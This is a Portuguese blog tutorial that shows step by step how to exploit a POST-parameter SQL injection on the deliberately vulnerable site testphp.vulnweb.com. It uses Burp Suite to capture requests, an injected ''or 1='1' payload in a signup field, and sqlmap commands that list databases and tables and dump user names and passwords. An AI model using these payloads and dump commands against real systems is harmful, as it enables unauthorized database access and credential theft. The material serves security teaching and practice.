terça-feira, 13 de outubro de 2015

Explorando falhas de SQL Injection via POST com SQLmap



O SQLMap é um script de exploração de falhas de SQL Injection. Já postamos bastante material sobre o assunto no blog, e até como identificar essas falhas manualmente e com scripts automatizados como o Uniscan, Arachni, Nikto e etc, além do mais, um dos primeiros posts do blog foi sobre exploração de falhas de SQL Injection via GET. Recomendo que estude esses exemplos primeiro para entender melhor o que se passa aqui.

Realizando o Teste Automatizado


Primeiro vamos varrer a aplicação em busca de falhas.

 # uniscan -qdws testphp.vulnweb.com/   

Após o termino da varredura, o uniscan irá nos apresentar um relatório com as vulnerabilidades e informações encontradas na URL que estamos a analisar. Você pode aprender mais sobre o Uniscan lendo uma postagem que eu fiz há um tempo, você poderá encontrá-la clicando aqui.





Realizando o teste manualmente


O teste automatizado é conhecido por gerar muito ruido no servidor, sendo facilmente detectável. Eu sei que é possível realizá-lo por meio de Proxy. Efetuamos um artigo explicando como, mas não é disso que estou falando, é de o alvo saber que há alguém atacando a aplicação e podendo tomar medidas preventivas que podem retardar ou prejudicar o ataque.
O melhor modo possível é fazer manualmente, explorando os forms do site manualmente realizando ataques de SQL Injection na mão.

Setup do Proxy Burp suite

Primeiramente vamos abrir o Burpsuite.
O Burpsuite é um proxy que nos auxilia com as respostas do servidor ao navegador e vice e versa, gerando um histórico para análise de tudo que enviamos e recebemos via POST e GET,

Link do Projeto: https://portswigger.net/burp/

Agora vamos precisar abrir o Burpsuite e o Firefox (Ou Iceweasel).
Com o BURP SUITE aberto, vá nas configurações de rede do navegador, aponte o proxy para o seu localhost na porta 8080. Deste modo, ele vai encaminhas todas as requisições e respostas para a porta 8080 da nossa máquina que será analisada pelo Burp Suite.




Vamos efetuar a análise em um formulário de cadastro

http://testphp.vulnweb.com/signup.php

Vamos inserir dados booleanos nos campos do formulário para tentar gerar alguns erros de SQL para identificarmos uma falha exposta.



Podemos testar todos os campos, um a um ou todos de uma vez explorando os campos para que eles nos retornem erros de sintaxe SQL





Realizando a exploração via POST Data

Diferente de interpretar a resposta inteira do HTTP e colocá-lo em um arquivo texto, vamos pegar somente o post data, ou seja, as informações que enviamos para o servidor, e realizar o injection somente com essa informação. Em alguns casos, essa tecnica pode evitar um desperdício de performance.

Agora abra vá até a aba Proxy do Burpsuite aberto e selecione HTTP History. Aqui ele vai marcar todas as requisições que o software capturou e irá interpretar se é POST ou GET.
Vamos nessa primeira requisição via método POST e vamos analisá-la. Ela foi a que enviamos por meio do navegador para o servidor, clicando em cima dela podemos retirar informações importantes sobre o que foi enviado e interpretado.


Nela podemos identificar que o formulário localizado na página /signup.php foi enviado via post para a o arquivo /newuser.php, no caso é esse arquivo que causou o erro, e é nele que devemos efetuar os ataques via POST com o SQLmap

Vemos que enviamos um punhado de informações, as que geraram o erro de SQL na página. Mais precisamente

 uuname=nanoshots+%27or+1+%3D+%271%27&upass=&upass2=&urname=&ucc=&uemail=&uphone=&uaddress=&signup=signup  


Então é esse punhado de informações enviadas que causou o erro, e é ele que vamos utilizar para efetuar o ataque, para isso iremos colocá-lo no parâmetro --data na sintaxe do SQLmap

Vamos lá

#sqlmap -u http://testphp.vulnweb.com/secured/newuser.php --data="uuname=nanoshots+%27or+1+%3D+%271%27&upass=&upass2=&urname=&ucc=&uemail=&uphone=&uaddress=&signup=signup" --dbs   

Prossiga com as torinas normais do SQLmap optando ou não pelo teste das demais variáveis além da uuname que aplicamos a injeção, no final ele vai te retornar as databases encontradas.



Agora vamos explorar:
Primeiro vamos efetuar um Dump de todas as tabelas existentes no banco "acuart" que encontramos, para isso vamos especificar o banco com o parâmetro -D e fazer o dump das tabelas com --tables

 sqlmap -u http://testphp.vulnweb.com/secured/newuser.php --data="uuname=nanoshots+%27or+1+%3D+%271%27&upass=&upass2=&urname=&ucc=&uemail=&uphone=&uaddress=&signup=signup" -D acuart --tables  




Vamos verificar a tabela users, fazendo o dump das colunas da tabela

 sqlmap -u http://testphp.vulnweb.com/secured/newuser.php --data="uuname=nanoshots+%27or+1+%3D+%271%27&upass=&upass2=&urname=&ucc=&uemail=&uphone=&uaddress=&signup=signup" -D acuart -T users --columns  








Agora finalmente vamos realizar o dump das informações das colunas, name, uname e pass

 sqlmap -u http://testphp.vulnweb.com/secured/newuser.php --data="uuname=nanoshots+%27or+1+%3D+%271%27&upass=&upass2=&urname=&ucc=&uemail=&uphone=&uaddress=&signup=signup" -D acuart -T users -C 'name,uname,pass' --dump  




Realizando ataque via resposta do HTTP


Novamente no Burp Suite, vamos até a o request POST que efetuamos para o servidor. Copie todo o conteúdo do request e cole dentro de um arquivo chamado post.txt. Esse método é útil quando o navegador envia, recebe e valida vários tipos de informação, no caso de cookies e sessões. Todo o conteúdo enviado, incluindo as informações de cookies, sessões, informações, horários, niveis de permissão vão ser enviadas.

Detalhe: Por mais que esse seja o método mais fácil, vale ressaltar que é bom utilizá-lo somente quando for realmente necessário, ou seja, quando o envio por POST data não for o suficiente, pois a performance dele tente a ser mais inferior e tende a gerar quase o triplo de ruido na aplicação.

Copie todo o conteúdo da Requisição POST



E com seu editor de texto favorito, crie um arquivo chamado post.txt e cole o conteúdo copiado dentro dele.  Em seguida feche o arquivo.

 # vim post.txt  




Agora vamos efetuar o ataque tendo como referência somente este arquivo. Se o analisarmos bem, ele contem todas as informações necessárias para realizar o ataque manualmente. Temos a página de origem, a página alvo, o tipo de método utilizado e as variáveis utilizadas para explorar a falha de SQL Injection.

Vamos executar o SQL map com o parâmetro -r, que é o parâmetro de leitura e apontar o arquivo que criamos anteriormente

 root@fidelis:/home/matheus# sqlmap -r post.txt --dbs  




Leia também: Explorando falhas de SQL Injection via GET com SQLmap

:)

SOBRE O AUTOR

Matheus Fidelis

http://msfidelis.github.io/

Power Ranger, Piloto de Helicópteros e Astronauta da NASA. Desenvolvedor Web PHP com foco em Backend e POO, Linux SysAdmin DevOps e Entusiasta Python. Criou esse site pra contribuir com a comunidade com coisas que aprende dentro de um setor maluco de TI :)

Postar um comentário

 
Nanoshots | Open Source Security, Linux e Tutoriais © 2015 - Designed by Templateism.com